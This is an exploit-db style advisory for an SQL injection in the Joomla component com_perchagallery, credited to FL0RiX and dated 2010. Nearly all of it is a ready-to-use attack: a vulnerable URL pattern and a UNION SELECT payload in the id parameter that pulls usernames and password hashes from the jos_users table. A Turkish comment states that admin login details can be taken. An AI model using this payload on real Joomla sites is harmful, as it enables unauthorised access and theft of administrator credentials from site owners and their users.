Joomla! Component com_perchagallery – SQL Injection

  • 作者: FL0RiX
    日期: 2010-01-06
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/11024/
  • ########################################################################
    # Joomla Component com_perchagallery SQL Injection Vulnerability
    
    ######################################################################## #
    # Author :FL0RiX
    #
    # Name : com_perchagallery
    #
    # Bug Type : SQL Injection
    #
    # Infection : Admin login bilgileri alinabilir.
    #
    # Demo Vuln :
    #
    # http://localhost/index.php?option=com_perchagallery&view=editunidad&id=[EXPLOIT]
    #
    #EXPLOIT : null/**/union/**/select/**/1,concat(username,0x3a,password)fl0rix,3,4,5,6/**/from/**/jos_users--
    ########################################################################